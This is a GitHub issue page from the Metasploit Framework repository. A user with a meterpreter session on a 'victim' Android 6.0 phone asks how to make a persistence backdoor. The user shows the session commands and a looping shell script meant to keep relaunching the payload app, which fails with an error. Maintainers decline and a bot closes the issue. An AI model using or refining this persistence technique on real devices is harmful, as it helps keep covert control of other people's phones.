Metasploit-framework: Problem with creating android persistence backdoor

Created on 15 Jun 2020  路  5Comments  路  Source: rapid7/metasploit-framework

Steps to reproduce

I'm trying to make persistence backdoor, please help me to fix error type 3 or give the manual how to do it correct with android>5.0
How'd you do it?

  1. I'm get meterpreter session, then i type this code:
    meterpreter > pwd
    /data/user/0/com.manages.navigator/files
    meterpreter > upload /root/Desktop/persist.sh
    [] uploading : /root/Desktop/persist.sh -> persist.sh
    [
    ] Uploaded -1.00 B of 122.00 B (-0.82%): /root/Desktop/persist.sh -> persist.sh
    [*] uploaded : /root/Desktop/persist.sh -> persist.sh
    meterpreter > shell
    Process 1 created.
    Channel 2 created.
    ls
    persist.sh
    sh persist.sh
    Starting: Intent { act=android.intent.action.MAIN cmp=com.manages.navigator/.MainActivity }
    Error type 3
    Error: Activity class {com.manages.navigator/com.manages.navigator.MainActivity} does not exist.

"persist.sh" it's a file, his code:

!/bin/sh

while :
do am start --user 0 -a android.intent.action.MAIN -n com.manages.navigator/.MainActivity
sleep 10
done


System stuff

Victim is Android 6.0, Kali linux 2019.4

Metasploit version

Get this with the version command in msfconsole (or git log -1 --pretty=oneline for a source install).
Framework: 5.0.60-dev
Console : 5.0.60-dev

Stale question

Most helpful comment

Sorry @pancenko we have someone creating new accounts and trying to impersonate real members of the MSF contributor's team. Please ignore.

All 5 comments

bc0les, i looked all videos on youtube before i came here. It didn't help me

Sorry @pancenko we have someone creating new accounts and trying to impersonate real members of the MSF contributor's team. Please ignore.

You can't do this.

Maybe you can say how to get access meterpreter session to android after session died?

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It鈥檚 been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

Hi again!

It鈥檚 been 60 days since anything happened on this issue, so we are going to close it.
Please keep in mind that I鈥檓 only a robot, so if I鈥檝e closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

Was this page helpful?
0 / 5 - 0 ratings

Related issues

ejholmes picture ejholmes  路  3Comments

adrianmihalko picture adrianmihalko  路  3Comments

bcoles picture bcoles  路  3Comments

Funeoz picture Funeoz  路  3Comments

verapex picture verapex  路  3Comments